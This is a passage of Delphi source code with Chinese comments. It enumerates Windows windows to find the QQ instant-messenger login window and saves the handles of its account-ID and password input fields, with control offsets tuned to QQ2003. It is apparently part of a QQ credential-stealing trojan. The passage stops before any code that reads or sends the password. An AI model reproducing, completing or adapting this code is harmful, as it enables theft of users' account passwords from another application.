if strpas(szname) = 'ComboBox' then
QQIDHandle := t
else if (strpas(szname) = 'Edit') then
QQPasswordHandle := t;
t := GetWindow(t, GW_HWNDNEXT);
end;
end;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//--------------------------------------------------------------------
//找QQ2003中的句柄
function FindQQ2003Edit(theFormHandle: hwnd): integer;
var
t: hwnd;
szname: array[0..254] of char;
begin
t := GetWindow(theFormHandle, GW_CHILD);
while t <> 0 do
begin
result := 0;
GetClassName(t, @szname, 255);
FindQQ2003Edit(t);
if strpas(szname) = 'Edit' then
begin
inc(Count);
if EditCount < 8 then
case Count of
1: QQIDHandle := t;
2: QQPasswordHandle := t;
3: break;
end;
if EditCount > 61 then
case Count of
49: QQIDHandle := t;
50: QQPasswordHandle := t;
51: break;
end
else
case Count of
30: QQPasswordHandle:= t;
61: begin
QQIDHandle := t;
break;
end;
end;
end;
t := GetWindow(t, GW_HWNDNEXT);
end;
end;
//--------------------------------------------------------------------
//找QQ登录窗口的句柄
function FindQQHandle(hWindows: HWND): integer;
var
hcrrentwindow: hwnd;
sztext: array[0..254] of char;
s: string;
begin
Result := 0;
hcrrentwindow := GetWindow(hWindows, GW_HWNDFIRST);
while hcrrentwindow <> 0 do
begin
if GetWindowtext(hcrrentwindow, @sztext, 255) > 0 then
begin
s := strpas(@sztext);
if trim(s) = '' then
begin
Result := hcrrentwindow;
break;
end ;
end;


